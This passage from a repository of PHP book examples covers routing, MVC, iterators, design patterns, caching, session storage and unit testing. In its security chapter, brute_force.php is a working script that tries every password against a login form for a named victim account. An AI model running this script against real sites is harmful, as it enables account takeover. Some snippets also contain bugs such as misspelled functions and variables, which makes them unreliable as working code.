\n"; 45 | 46 | // output the second concert title 47 | echo "Featured Concert: " . $concert_list->concert[1]->title; 48 | ?> -------------------------------------------------------------------------------- /chapter_04/Controller.php: -------------------------------------------------------------------------------- 1 | router) { 17 | throw new Exception("Router not set"); 18 | } 19 | 20 | $route = $this->router->getRoute($url); 21 | 22 | $controller = ucfirst($route['controller']); 23 | $action = ucfirst($route['action']); 24 | 25 | unset($route['controller']); 26 | unset($route['action']); 27 | 28 | // Get our model 29 | $model = $this->getModel($controller); 30 | 31 | $data = $model->{$action}($route); 32 | $data = $data + $default_data; 33 | 34 | // Get our view 35 | $view = $this->getView($controller, $action); 36 | 37 | echo $view->render($data); 38 | } catch (Exception $e) { 39 | try { 40 | if ($url != '/error') { 41 | $data = array('message' => $e->getMessage()); 42 | $this->dispatch("/error", $data); 43 | } else { 44 | throw new Exception("Error Route undefined"); 45 | } 46 | } catch (Exception $e) { 47 | echo "

An unknown error occurred.

"; 48 | } 49 | } 50 | } 51 | 52 | /** 53 | * Set the router 54 | * 55 | * @param RouterAbstract $router 56 | */ 57 | public function setRouter(RouterAbstract $router) 58 | { 59 | $this->router = $router; 60 | } 61 | 62 | /** 63 | * Get an instantiated model class 64 | * 65 | * @param string $name 66 | * @return mixed 67 | */ 68 | protected function getModel($name) 69 | { 70 | $name .= '_Model'; 71 | 72 | 73 | $this->includeClass($name); 74 | 75 | return new $name; 76 | } 77 | 78 | /** 79 | * Get an instantiated view class 80 | * 81 | * @param string $name 82 | * @param string $action 83 | * @return mixed 84 | */ 85 | protected function getView($name, $action) 86 | { 87 | $name .= '_' .$action. 'View'; 88 | 89 | $this->includeClass($name); 90 | 91 | return new $name; 92 | } 93 | 94 | /** 95 | * Include a class using PEAR naming scheme 96 | * 97 | * @param string $name 98 | * @return void 99 | * @throws Exception 100 | */ 101 | protected function includeClass($name) 102 | { 103 | $file = str_replace('_', DIRECTORY_SEPARATOR, $name) . '.php'; 104 | 105 | if (!file_exists($file)) { 106 | throw new Exception("Class not found!"); 107 | } 108 | 109 | require_once $file; 110 | } 111 | } 112 | ?> -------------------------------------------------------------------------------- /chapter_04/DependencyInjection.php: -------------------------------------------------------------------------------- 1 | engine) { 19 | throw new Exception('Unable to write log. No Engine set.'); 20 | } 21 | 22 | $data['datetime'] = time(); 23 | $data['message'] = $message; 24 | 25 | $session = Registry::get('session'); 26 | $data['user'] = $session->getUserId(); 27 | 28 | $this->engine->add($data); 29 | } 30 | 31 | /** 32 | * Set the log data storage engine 33 | * 34 | * @param Log_Engine_Interface $Engine 35 | */ 36 | public function setEngine(Log_Engine_Interface $engine) 37 | { 38 | $this->engine = $engine; 39 | } 40 | 41 | /** 42 | * Retrieve the data storage engine 43 | * 44 | * @return Log_Engine_Interface 45 | */ 46 | public function getEngine() 47 | { 48 | return $this->engine; 49 | } 50 | } 51 | 52 | interface Log_Engine_Interface { 53 | /** 54 | * Add an event to the log 55 | * 56 | * @param string $message 57 | */ 58 | public function add(array $data); 59 | } 60 | 61 | class Log_Engine_File implements Log_Engine_Interface { 62 | /** 63 | * Add an event to the log 64 | * 65 | * @param string $message 66 | */ 67 | public function add(array $data) 68 | { 69 | $line = '[' .data('r', $data['datetime']). '] ' .$data['message']. ' User: ' .$data['user'] . PHP_EOL; 70 | 71 | $config = Registry::get('site-config'); 72 | 73 | if (!file_put_contents($config['location'], $line, FILE_APPEND)) { 74 | throw new Exception("An error occurred writing to file."); 75 | } 76 | } 77 | } 78 | 79 | $engine = new Log_Engine_File(); 80 | 81 | $log = new Log(); 82 | $log->setEngine($engine); 83 | 84 | // Add it to the registry 85 | Registry::add($log); -------------------------------------------------------------------------------- /chapter_04/ErrorModel.php: -------------------------------------------------------------------------------- 1 | getLog($config['log']['type'], $config['log']); 9 | $log->add($data['message']); 10 | 11 | return array(); 12 | } 13 | } -------------------------------------------------------------------------------- /chapter_04/Event.php: -------------------------------------------------------------------------------- 1 | callbacks 11 | */ 12 | static protected $callbacks = array(); 13 | 14 | /** 15 | * Register a callback 16 | * 17 | * @param string $eventName Name of the triggering event 18 | * @param mixed $callback An instance of Event_Callback or a Closure 19 | */ 20 | static public function registerCallback($eventName, $callback) 21 | { 22 | if (!is_callable($callback)) { 23 | throw new Exception("Invalid callback!"); 24 | } 25 | 26 | $eventName = strtolower($eventName); 27 | 28 | self::$callbacks[$eventName][] = $callback; 29 | } 30 | 31 | /** 32 | * Trigger an event 33 | * 34 | * @param string $eventName Name of the event to be triggered 35 | * @param mixed $data The data to be sent to the callback 36 | */ 37 | static public function trigger($eventName, $data) 38 | { 39 | $eventName = strtolower($eventName); 40 | 41 | if (isset(self::$callbacks[$eventName])) { 42 | foreach (self::$callbacks[$eventName] as $callback) { 43 | // The callback is either a closure, or an object that defines __invoke() 44 | $callback($data); 45 | } 46 | } 47 | } 48 | } 49 | ?> -------------------------------------------------------------------------------- /chapter_04/Factory.php: -------------------------------------------------------------------------------- 1 | setPath($options['location']); 28 | break; 29 | case 'mysql': 30 | $log->setUser($options['username']); 31 | $log->setPassword($options['password']); 32 | $log->setDBName($options['location']); 33 | break; 34 | case 'sqlite': 35 | $log->setDBPath($otions['location']); 36 | break; 37 | } 38 | 39 | return $log; 40 | } 41 | } 42 | ?> -------------------------------------------------------------------------------- /chapter_04/FilterIterator.php: -------------------------------------------------------------------------------- 1 | getInnerIterator(); 12 | 13 | // Get the current key 14 | $key = $iterator->key(); 15 | 16 | // Check for even keys 17 | if ($key % 2 == 0) { 18 | return true; 19 | } 20 | 21 | return false; 22 | } 23 | } 24 | 25 | $array = array( 26 | 0 => "Hello", 27 | 1 => "Everybody Is", 28 | 2 => "I'm", 29 | 3 => "Amazing", 30 | 4 => "The", 31 | 5 => "Who", 32 | 6 => "Doctor", 33 | 7 => "Lives" 34 | ); 35 | 36 | // Create an iterator from our array 37 | $iterator = new ArrayIterator($array); 38 | 39 | // Create our FilterIterator 40 | $filterIterator = new EvenFilterIterator($iterator); 41 | 42 | // Iterate 43 | foreach ($filterIterator as $key => $value) { 44 | echo $key .': '. $value . PHP_EOL; 45 | } 46 | ?> -------------------------------------------------------------------------------- /chapter_04/Iterator.php: -------------------------------------------------------------------------------- 1 | key = 0; 11 | } 12 | 13 | public function rewind() { 14 | $this->key = 0; 15 | } 16 | 17 | public function current() { 18 | return $this->data[$this->key]; 19 | } 20 | 21 | public function key() { 22 | return $this->key; 23 | } 24 | 25 | public function next() { 26 | $this->key++; 27 | return true; 28 | } 29 | 30 | public function valid() { 31 | return isset($this->data[$this->key]); 32 | } 33 | } 34 | 35 | $iterator = new BasicIterator(); 36 | $iterator->rewind(); 37 | 38 | do { 39 | $key = $iterator->key(); 40 | $value = $iterator->current(); 41 | echo $key .': ' .$value . PHP_EOL; 42 | } while ($iterator->next() && $iterator->valid()); 43 | 44 | 45 | $iterator = new BasicIterator(); 46 | foreach ($iterator as $key => $value) { 47 | echo $key .': ' .$value . PHP_EOL; 48 | } 49 | ?> -------------------------------------------------------------------------------- /chapter_04/IteratorExplanation.php: -------------------------------------------------------------------------------- 1 | $value) { 5 | echo $key .': ' .$value . PHP_EOL; 6 | } 7 | ?> 8 | 9 | -------------------------------------------------------------------------------- /chapter_04/IteratorInterface.php: -------------------------------------------------------------------------------- 1 | 10 | position = 0; 21 | } 22 | 23 | public function rewind() { 24 | var_dump(__METHOD__); 25 | $this->position = 0; 26 | } 27 | 28 | public function current() { 29 | var_dump(__METHOD__); 30 | return $this->array[$this->position]; 31 | } 32 | 33 | public function key() { 34 | var_dump(__METHOD__); 35 | debug_print_backtrace(); 36 | return $this->position; 37 | } 38 | 39 | public function next() { 40 | var_dump(__METHOD__); 41 | ++$this->position; 42 | } 43 | 44 | public function valid() { 45 | var_dump(__METHOD__); 46 | debug_print_backtrace(); 47 | return isset($this->array[$this->position]); 48 | } 49 | } 50 | 51 | $it = new myIterator; 52 | 53 | foreach($it as $key => $value) { 54 | var_dump($key, $value); 55 | echo "\n"; 56 | } 57 | ?> -------------------------------------------------------------------------------- /chapter_04/LimitIterator.php: -------------------------------------------------------------------------------- 1 | $value) { 20 | echo $key .': '. $value . PHP_EOL; 21 | } 22 | ?> -------------------------------------------------------------------------------- /chapter_04/LogCallback.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_04/Model.php: -------------------------------------------------------------------------------- 1 | 'Brooke in the Woods', 10 | 'width' => 427, 11 | 'height' => 640, 12 | 'url' => 'http://farm6.static.flickr.com/5142/5584010786_95a4c15e8a_z.jpg', 13 | ); 14 | } 15 | } 16 | ?> -------------------------------------------------------------------------------- /chapter_04/MyDataRecord.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_04/Observer.php: -------------------------------------------------------------------------------- 1 | callbacks 11 | */ 12 | static protected $callbacks = array(); 13 | 14 | /** 15 | * Register a callback 16 | * 17 | * @param string $eventName Name of the triggering event 18 | * @param mixed $callback An instance of Event_Callback or a Closure 19 | */ 20 | static public function registerCallback($eventName, $callback) 21 | { 22 | if (!($callback instanceof Event_Callback) && !($callback instanceof Closure)) { 23 | throw new Exception("Invalid callback!"); 24 | } 25 | 26 | $eventName = strtolower($eventName); 27 | 28 | self::$callbacks[$eventName][] = $callback; 29 | } 30 | 31 | /** 32 | * Trigger an event 33 | * 34 | * @param string $eventName Name of the event to be triggered 35 | * @param mixed $data The data to be sent to the callback 36 | */ 37 | static public function trigger($eventName, $data) 38 | { 39 | $eventName = strtolower($eventName); 40 | 41 | if (isset(self::$callbacks[$eventName])) { 42 | foreach (self::$callbacks[$eventName] as $callback) { 43 | self::callback($callback, $data); 44 | } 45 | } 46 | } 47 | 48 | /** 49 | * Perform the callback 50 | * 51 | * @param mixed $callback An instance of Event_Callback or a Closure 52 | * @param mixed $data The data sent to the callback 53 | */ 54 | static protected function callback($callback, $data) 55 | { 56 | if ($callback instanceof Closure) { 57 | $callback($data); 58 | } else { 59 | $callback->run($data); 60 | } 61 | } 62 | } 63 | 64 | /** 65 | * The Event Callback interface 66 | * 67 | * If you do not wish to use a closure 68 | * you can define a class that extends 69 | * this instead. The run method will be 70 | * called when the event is triggered. 71 | */ 72 | interface Event_Callback { 73 | public function run($data); 74 | } 75 | 76 | /** 77 | * Logger callback 78 | */ 79 | class LogCallback implements Event_Callback { 80 | public function run($data) 81 | { 82 | echo "Log Data" . PHP_EOL; 83 | var_dump($data); 84 | } 85 | } 86 | 87 | // Register the log callback 88 | Event::registerCallback('save', new LogCallback()); 89 | 90 | // Register the clear cache callback as a closure 91 | Event::registerCallback('save', function ($data) { 92 | echo "Clear Cache" . PHP_EOL; 93 | var_dump($data); 94 | }); 95 | 96 | class MyDataRecord { 97 | public function save() 98 | { 99 | // Save data 100 | 101 | // Trigger the save event 102 | Event::trigger('save', array("Hello", "World")); 103 | } 104 | } 105 | 106 | // Instantiate a new data record 107 | $data = new MyDataRecord(); 108 | $data->save(); // 'save' Event is triggered here 109 | -------------------------------------------------------------------------------- /chapter_04/RecursiveIterator.php: -------------------------------------------------------------------------------- 1 | $value) { 22 | echo "Depth: " . $recursiveIteratorIterator->getDepth() . PHP_EOL; 23 | echo "Key: " . $key . PHP_EOL; 24 | echo "Value: " .$value . PHP_EOL; 25 | } 26 | ?> -------------------------------------------------------------------------------- /chapter_04/RegexIterator.php: -------------------------------------------------------------------------------- 1 | $file) { 13 | /* @var SplFileInfo $file */ 14 | echo $file->getFilename() . PHP_EOL; 15 | } 16 | ?> -------------------------------------------------------------------------------- /chapter_04/Registry-DB-external.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_04/Registry-DB-internal.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_04/Registry.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_04/RouterAbstract.php: -------------------------------------------------------------------------------- 1 | baseUrl = preg_quote($baseUrl, '@'); 46 | } 47 | 48 | /** 49 | * Normalize a string for sub-pattern naming 50 | * 51 | * @param string &$param 52 | */ 53 | public function normalize(&$param) 54 | { 55 | $param = preg_replace("/[^a-zA-Z0-9]/", "", $param); 56 | } 57 | } -------------------------------------------------------------------------------- /chapter_04/RouterRegex.php: -------------------------------------------------------------------------------- 1 | routes[] = array('pattern' => $this->_parseRoute($route), 'options' => $options); 13 | } 14 | 15 | /** 16 | * Retrieve the route data 17 | * 18 | * @param string $request The request URI 19 | * @return array 20 | */ 21 | public function getRoute($request) 22 | { 23 | $matches = array(); 24 | foreach ($this->routes as $route) { 25 | // Try to match the request against defined routes 26 | if (preg_match($route['pattern'], $request, $matches)) { 27 | // If it matches, remove unnecessary numeric indexes 28 | foreach ($matches as $key => $value) { 29 | if (is_int($key)) { 30 | unset($matches[$key]); 31 | } 32 | } 33 | 34 | // Merge the matches with the supplied options 35 | $result = $matches + $route['options']; 36 | return $result; 37 | } 38 | } 39 | 40 | throw new Exception("Route not found"); 41 | } 42 | 43 | /** 44 | * Parse the route pattern 45 | * 46 | * @param string $route The pattern 47 | * @return string 48 | */ 49 | protected function _parseRoute($route) 50 | { 51 | $baseUrl = $this->baseUrl; 52 | // Short-cut for the / route 53 | if ($route == '/') { 54 | return "@^$baseUrl/$@"; 55 | } 56 | 57 | // Explode on the / to get each part 58 | $parts = explode("/", $route); 59 | 60 | // Start our regex, we use @ instead of / to avoid issues with the URL path 61 | // Start with our base URL 62 | $regex = "@^$baseUrl"; 63 | 64 | // Check to see if it starts with a / and discard the empty arg 65 | if ($route[0] == "/") { 66 | array_shift($parts); 67 | } 68 | 69 | // Foreach each part of the URL 70 | foreach ($parts as $part) { 71 | // Add a / to the regex 72 | $regex .= "/"; 73 | 74 | // Start looking for type:name strings 75 | $args = explode(":", $part); 76 | 77 | if (sizeof($args) == 1) { 78 | // If there's only one value, it's a static string 79 | $regex .= sprintf(self::REGEX_STATIC, preg_quote(array_shift($args), '@')); 80 | continue; 81 | } elseif ($args[0] == '') { 82 | // If the first value is empty, there is no type specified, discard it 83 | array_shift($args); 84 | $type = false; 85 | } else { 86 | // We have a type, pull it out 87 | $type = array_shift($args); 88 | } 89 | 90 | // Retrieve the key 91 | $key = array_shift($args); 92 | 93 | // If it's a regex, just add it to the expression and move on 94 | if ($type == "regex") { 95 | $regex .= $key; 96 | continue; 97 | } 98 | 99 | // Remove any characters that are not allowed in sub-pattern names 100 | $this->normalize($key); 101 | 102 | // Start creating our named sub-pattern 103 | $regex .= '(?P<' . $key . '>'; 104 | 105 | // Add the actual pattern 106 | switch (strtolower($type)) { 107 | case "int": 108 | case "integer": 109 | $regex .= self::REGEX_INT; 110 | break; 111 | case "alpha": 112 | $regex .= self::REGEX_ALPHA; 113 | break; 114 | case "alphanumeric": 115 | case "alphanum": 116 | case "alnum": 117 | $regex .= self::REGEX_ALPHANUMERIC; 118 | break; 119 | default: 120 | $regex .= self::REGEX_ANY; 121 | break; 122 | } 123 | 124 | // Close the named sub-pattern 125 | $regex .= ")"; 126 | } 127 | 128 | // Make sure to match to the end of the URL and make it unicode aware 129 | $regex .= '$@u'; 130 | 131 | return $regex; 132 | } 133 | } 134 | 135 | /* 136 | $router = new RouterRegex; 137 | $router->addRoute("/alpha:page/alpha:action/:id", array('controller' => 'default')); 138 | $router->addRoute("/photos/alnum:user/int:photoId/in/regex:(?P([a-z]+?))-(?P([0-9]+?))"); 139 | 140 | var_dump($router); 141 | 142 | var_dump($router->getRoute('/user-account/view/123')); 143 | var_dump($router->getRoute('/user-account/edit/123')); 144 | var_dump($router->getRoute('/profile/view/123')); 145 | var_dump($router->getRoute('/photos/dshafik/5584010786/in/set-72157626290864145')); 146 | */ 147 | ?> -------------------------------------------------------------------------------- /chapter_04/Singleton.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_04/StackedOuterIterators.php: -------------------------------------------------------------------------------- 1 | $value) { 28 | $innerIterator = $limitIterator->getInnerIterator(); 29 | echo "Depth: " .$innerIterator->getDepth() . PHP_EOL; 30 | echo "Key: " .$key . PHP_EOL; 31 | echo "Value: " .$value . PHP_EOL; 32 | } 33 | ?> -------------------------------------------------------------------------------- /chapter_04/View.php: -------------------------------------------------------------------------------- 1 | %s' . PHP_EOL; 6 | $html .= '' . PHP_EOL; 7 | 8 | $return = sprintf($html, $data['title'], $data['url'], $data['width'], $data['height']); 9 | 10 | return $return; 11 | } 12 | } 13 | ?> -------------------------------------------------------------------------------- /chapter_04/index.php: -------------------------------------------------------------------------------- 1 | addRoute("/:controller/:action/alnum:user/int:photoId/in/regex:(?P([a-z]+?))-(?P([0-9]+?))"); 7 | $router->addRoute("/error", array('controller' => 'error', 'action' => 'showError')); 8 | 9 | $controller = new Controller(); 10 | $controller->setRouter($router); 11 | 12 | $controller->dispatch('/photos/getPhoto/dshafik/5584010786/in/set-72157626290864145'); 13 | $controller->dispatch('/users/dshafik'); 14 | ?> -------------------------------------------------------------------------------- /chapter_04/showErrorView.php: -------------------------------------------------------------------------------- 1 | An error occurred. Please try again."; 6 | } 7 | } -------------------------------------------------------------------------------- /chapter_05/brute_force.php: -------------------------------------------------------------------------------- 1 | 'victims_username'); 4 | $length = 0; 5 | $password = array(); 6 | $chr = array_combine(range(32, 126), array_map('chr', range(32, 126))); 7 | $ord = array_flip($chr); 8 | $first = reset($chr); 9 | $last = end($chr); 10 | while (true) { 11 | $length++; 12 | $end = $length-1; 13 | $password = array_fill(0, $length, $first); 14 | $stop = array_fill(0, $length, $last); 15 | while ($password != $stop) { 16 | foreach ($chr as $string) { 17 | $password[$end] = $string; 18 | $post_data['password'] = implode('', $password); 19 | $context = stream_context_create(array('http' => array( 20 | 'method' => 'POST', 21 | 'follow_location' => false, 22 | 'header' => 'Content-Type: application/x-www-form-urlencoded', 23 | 'content' => http_build_query($post_data) 24 | ))); 25 | $response = file_get_contents($url, false, $context); 26 | if (strpos($response, 'Invalid username or password.') === false) { 27 | echo 'Password found: ' . $post_data['password'], PHP_EOL; 28 | exit; 29 | } 30 | } 31 | for ($left = $end-1; isset($password[$left]) && $password[$left] == $last; $left--); 32 | if (isset($password[$left]) && $password[$left] != $last) { 33 | $password[$left] = $chr[$ord[$password[$left]]+1]; 34 | for ($index = $left+1; $index <= $length; $index++) { 35 | $password[$index] = $first; 36 | } 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /chapter_05/csrf.php: -------------------------------------------------------------------------------- 1 | 9 |
10 | ” /> 11 | 12 | 13 |
14 | prepare($query); 6 | $statement->execute(array($_POST['username'], $hash)); 7 | -------------------------------------------------------------------------------- /chapter_05/php_self.php: -------------------------------------------------------------------------------- 1 | prepare($query); 5 | $statement->execute(array($_POST['username'], $_POST['password'])); 6 | -------------------------------------------------------------------------------- /chapter_05/ssl.php: -------------------------------------------------------------------------------- 1 | 'localhost', 'port' => '11211', 'weight' => 1), 29 | // Define other hosts here 30 | ); 31 | 32 | /** 33 | * Constructor 34 | */ 35 | public function __construct() { 36 | $this->connect(); 37 | } 38 | 39 | public function isConnected() 40 | { 41 | return $this->connected; 42 | } 43 | 44 | /** 45 | * Connect to the memcached pool 46 | * 47 | * @return void 48 | */ 49 | protected function connect() { 50 | $this->connected = false; 51 | 52 | $this->memcache = new Memcache(); 53 | foreach($this->pool as $host) { 54 | $this->memcache->addServer($host['host'], $host['port'], true, $host['weight']); 55 | 56 | // Confirm that at least one server in the pool connected 57 | $stats = $this->memcache->getExtendedStats(); 58 | if ($this->connected || ($stats["{$host['host']}:{$host['port']}"] !== false && sizeof($stats["{$host['host']}:{$host['port']}"]) > 0)) { 59 | $this->connected = true; 60 | } 61 | } 62 | 63 | return $this->connected; 64 | } 65 | 66 | /** 67 | * Returns the namespace value for the current partition 68 | * 69 | * This method will create a new namespace key for the current partition. 70 | * 71 | * To clear the cache for a specific partition of the cache, just increment 72 | * this key. 73 | * 74 | * @param string $key 75 | * @return string 76 | */ 77 | protected function addNamespace($partition = '') { 78 | // If we're not connected, just return false 79 | if(!$this->connected) { 80 | return false; 81 | } 82 | 83 | // Get the current namespace key 84 | $ns_key = $this->memcache->get($partition); 85 | if($ns_key == false) { 86 | // No key currently set, set one at random 87 | $ns_key = rand(1, 10000); 88 | $result = $this->memcache->set($partition, $ns_key, 0, 0); 89 | } 90 | 91 | // Return the key with the naamespace key 92 | $my_key = $partition."_".$ns_key."_".$key; 93 | 94 | return $my_key; 95 | } 96 | 97 | /** 98 | * Clears the cache by incrementing the namespace key 99 | * 100 | * @return void 101 | */ 102 | public function clearCache($partition = '') { 103 | if (!$this->connected) { 104 | return false; 105 | } 106 | 107 | // Memcache has a built in increment method 108 | $this->memcache->increment($partition); 109 | } 110 | 111 | /** 112 | * Add a value to the cache 113 | * 114 | * Will also add a metadata key 115 | * with modified date and split 116 | * large values (>=1MB) across 117 | * multiple keys automatically. 118 | * 119 | * @param string $key 120 | * @param string $value 121 | * @param int $expires 122 | * @return boolean 123 | */ 124 | public function set($key, $value, $partition = '', $expires = 14400) { 125 | // Define a constant so we don't have a magic number 126 | define('ONE_MB', 1 * 1024 * 1024); 127 | 128 | if (!$this->connected) { 129 | return false; 130 | } elseif (strlen($value) >= ONE_MB) { 131 | // Value is more than 1MB, split it 132 | $value = str_split($value, ONE_MB); 133 | } 134 | 135 | // Set an expiration of now plus timeout 136 | if ($expires !== 0) { 137 | $expires += time(); 138 | } 139 | 140 | // Add the partion and namespace key to our item key 141 | $ns_key = $this->addNameSpace($key, $partition); 142 | 143 | $this->memcache->set($ns_key.'_metadata', json_encode((object) array("modified" => gmdate('D, d M Y H:i:s') . ' GMT', 'slabs' => sizeof($value))), MEMCACHE_COMPRESSED, $expires); 144 | 145 | // If our value is split, we need to store it in mulitple keys 146 | if (is_array($value)) { 147 | foreach ($value as $k => $v) { 148 | // Add an incrementing number to the key and store the chunk 149 | $this->memcache->set($ns_key . '_' .$k, $v, MEMCACHE_COMPRESSED, $expires); 150 | } 151 | return true; 152 | } 153 | 154 | return $this->memcache->set($ns_key, $value, MEMCACHE_COMPRESSED, $expires); 155 | } 156 | 157 | /** 158 | * Returns the data for a given key. 159 | * 160 | * Returns false if no data exists. 161 | * 162 | * Automatically fetches the metadata key 163 | * and sends the Last-Modified header. 164 | * 165 | * Automatically retrieves large values split 166 | * across multiple slabs. 167 | * 168 | * Also sends an X-Cache-Hit header to indicate 169 | * if the item was found in the cache. 170 | * 171 | * @param string $key 172 | * @return string 173 | */ 174 | public function get($key, $partition = '') { 175 | if (!$this->connected) { 176 | return false; 177 | } 178 | 179 | $ns_key = $this->addNameSpace($key, $partition); 180 | 181 | $meta = $this->memcache->get($ns_key.'_metadata'); 182 | 183 | // Send appropriate headers 184 | if ($meta && !empty($meta) && !headers_sent()) { 185 | $meta = json_decode($meta); 186 | header("X-Cache-Hit: 1", false); 187 | if (isset($meta->modified)) { 188 | header('Last-Modified: ' .$meta->modified); 189 | } 190 | } elseif (!$meta && !headers_sent()) { 191 | header("X-Cache-Hit: 0", false); 192 | return false; 193 | } 194 | 195 | // Retrieve data split across multiple keys 196 | $value = ''; 197 | if ($meta && isset($meta->slabs) && $meta->slabs > 1) { 198 | // Item is split across keys 199 | for ($i = 0; $i < $meta->slabs; $i++) { 200 | // Concat each key to the previously returned data 201 | $value .= $this->memcache->get($ns_key . '_' .$i); 202 | } 203 | } else { 204 | // Item is not split 205 | $value = $this->memcache->get($ns_key); 206 | } 207 | 208 | return $value; 209 | } 210 | 211 | /** 212 | * Deletes the data for a given key. 213 | * 214 | * Returns true on successful deletion, false if unsuccessful. 215 | * 216 | * @param string $key 217 | * @return boolean 218 | */ 219 | public function delete($key, $partition = '') { 220 | if (!$this->connected) { 221 | return false; 222 | } 223 | 224 | return $this->memcache->delete($this->addNamespace($key, $partition)); 225 | } 226 | } 227 | ?> -------------------------------------------------------------------------------- /chapter_06/MySQL_Session_Handler.php: -------------------------------------------------------------------------------- 1 | db = new PDO('mysql:host=' . self::DB_SERVER . ';dbname=' . self::DB_NAME, self::DB_USERNAME, self::DB_PASSWORD); 32 | } catch (PDOException $e) { 33 | return false; 34 | } 35 | 36 | return true; 37 | } 38 | 39 | function close() { 40 | $this->gc(); 41 | unset($this->db); 42 | } 43 | 44 | function read($id) { 45 | //fetch the session record 46 | $sql = "SELECT data FROM sessions WHERE id = :sid"; 47 | 48 | $query = $this->db->prepare($sql); 49 | 50 | $result = $query->execute(array(':sid' => $id)); 51 | 52 | if ($result && $query->rowCount() > 0) { 53 | return $query->fetch(PDO::FETCH_ASSOC);; 54 | } 55 | 56 | // PHP requires you send an empty string if no session data 57 | return ""; 58 | } 59 | 60 | function write($id, $data) { 61 | $sql = "REPLACE INTO sessions SET 62 | id = :sid, 63 | accesstime = " .time() . ", 64 | data = :data"; 65 | 66 | $query = $this->db->prepare($sql); 67 | 68 | $result = $query->execute( 69 | array( 70 | ':sid' => $id, 71 | ':data' => $data 72 | ) 73 | ); 74 | 75 | if ($result && $query->rowCount() > 0) { 76 | return true; 77 | } 78 | return false; 79 | } 80 | 81 | function destroy($id) { 82 | $sql = "DELETE FROM sessions WHERE id = :sid"; 83 | 84 | $query = $this->db->prepare($sql); 85 | 86 | $result = $query->execute(array(':sid' => $id)); 87 | 88 | if ($result) { 89 | return true; 90 | } 91 | 92 | return false; 93 | } 94 | 95 | function gc() { 96 | //garbage collection 97 | 98 | $timeout = time() - get_cfg_var("session.gc_maxlifetime"); 99 | 100 | $sql = "DELETE FROM sessions WHERE accesstime < :timeout"; 101 | 102 | $query = $this->db->prepare($sql); 103 | 104 | $result = $query->execute(array(':timeout' => $timeout)); 105 | 106 | if ($result) { 107 | return true; 108 | } 109 | 110 | return false; 111 | } 112 | 113 | } 114 | 115 | new MySQL_Session_Handler(); -------------------------------------------------------------------------------- /chapter_06/cache.php: -------------------------------------------------------------------------------- 1 | get($key, 'blog-pages'); 11 | 12 | // If the data is not false, we got something valid 13 | if ($data !== false) { 14 | echo $data; 15 | } else { 16 | // Generate data, you can do this with buffering: 17 | // Start the buffer 18 | ob_start(); 19 | // output all the data to the buffer 20 | 21 | // ... 22 | 23 | // Retrieve and output the data at the same time 24 | $data = ob_get_flush(); 25 | 26 | // Add it to the cache. 27 | $cache->set($key, $data, 'blog-pages'); 28 | } 29 | ?> -------------------------------------------------------------------------------- /chapter_06/footer.php: -------------------------------------------------------------------------------- 1 | save_run($xhprof_data, $ns); 12 | 13 | // url to the XHProf UI libraries 14 | $url = 'http://example.org/xhprof_html/index.php'; 15 | $url .= '?run=%s&source=%s'; 16 | 17 | // Replace the placeholders 18 | $url = sprintf($url, $run_id, $ns); 19 | 20 | // Display the URL 21 | echo "Profiler Output"; 22 | } 23 | ?> -------------------------------------------------------------------------------- /chapter_06/header.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_07/lib/Calculator.php: -------------------------------------------------------------------------------- 1 | fooModel = $fooModel; 10 | } 11 | 12 | public function getFooModel() 13 | { 14 | if (empty($this->fooModel)) { 15 | $this->fooModel = new My_Model_Foo(); 16 | } 17 | return $this->fooModel; 18 | } 19 | 20 | public function setView(My_View $view) 21 | { 22 | $this->view = $view; 23 | } 24 | 25 | public function getView() 26 | { 27 | if (empty($this->view)) { 28 | $this->view = new My_View(); 29 | } 30 | return $this->view; 31 | } 32 | 33 | public function actionGet(array $params) 34 | { 35 | $fooModel = $this->getFooModel(); 36 | $fooId = $params['fooId']; 37 | $fooData = $fooModel->get($fooId); 38 | $view = $this->getView(); 39 | $view->assign($fooData); 40 | return $view->render('path/to/template'); 41 | } 42 | } 43 | ?> -------------------------------------------------------------------------------- /chapter_07/lib/Totaller.php: -------------------------------------------------------------------------------- 1 | calculator)) { 13 | $this->calculator = new My_Calculator; 14 | } 15 | return $this->calculator; 16 | } 17 | 18 | public function setCalculator(My_Calculator $calculator) 19 | { 20 | $this->calculator = $calculator; 21 | } 22 | 23 | public function addOperand($operand) 24 | { 25 | $this->operands[] = $operand; 26 | } 27 | 28 | public function calculateTotal() 29 | { 30 | $calculator = $this->getCalculator(); 31 | $total = 0; 32 | foreach ($this->operands as $operand) { 33 | $total = $calculator->add($total, $operand); 34 | } 35 | return $total; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /chapter_07/tests/BaseSeleniumTestCase.php: -------------------------------------------------------------------------------- 1 | setHost('localhost'); 10 | $this->setPort(4444); 11 | $this->setBrowser('*firefox'); 12 | $this->setBrowserUrl('http://example.com'); 13 | $this->setTimeout(5000); 14 | } 15 | 16 | protected function onNotSuccessfulTest(Exception $e) 17 | { 18 | parent::onNotSuccessfulTest($e); 19 | $path = $this->htmlSourcePath . DIRECTORY_SEPARATOR . 20 | $this->testId . '.html'; 21 | file_put_contents($path, $this->getHtmlSource()); 22 | echo 'Source: ', $path, PHP_EOL; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /chapter_07/tests/CalculatorTest.php: -------------------------------------------------------------------------------- 1 | calculator = new My_Calculator(); 11 | } 12 | 13 | protected function tearDown() 14 | { 15 | unset($this->calculator); 16 | } 17 | 18 | public function testAddBothPositive() 19 | { 20 | $result = $this->calculator->add(3, 2); 21 | $this->assertEquals(5, $result); 22 | } 23 | 24 | public function testAddPositiveAndZero() 25 | { 26 | $result = $this->calculator->add(2, 0); 27 | $this->assertEquals(2, $result); 28 | } 29 | 30 | public function testAddPositiveAndNegative() 31 | { 32 | $result = $this->calculator->add(-1, 1); 33 | $this->assertEquals(0, $result); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /chapter_07/tests/DaoTest.php: -------------------------------------------------------------------------------- 1 | createDefaultDBConnection($pdo, 'database_name'); 13 | } 14 | 15 | /** 16 | * @return PHPUnit_Extensions_Database_DataSet_IDataSet 17 | */ 18 | public function getDataSet() 19 | { 20 | /* 21 | For a composite data set: 22 | 23 | 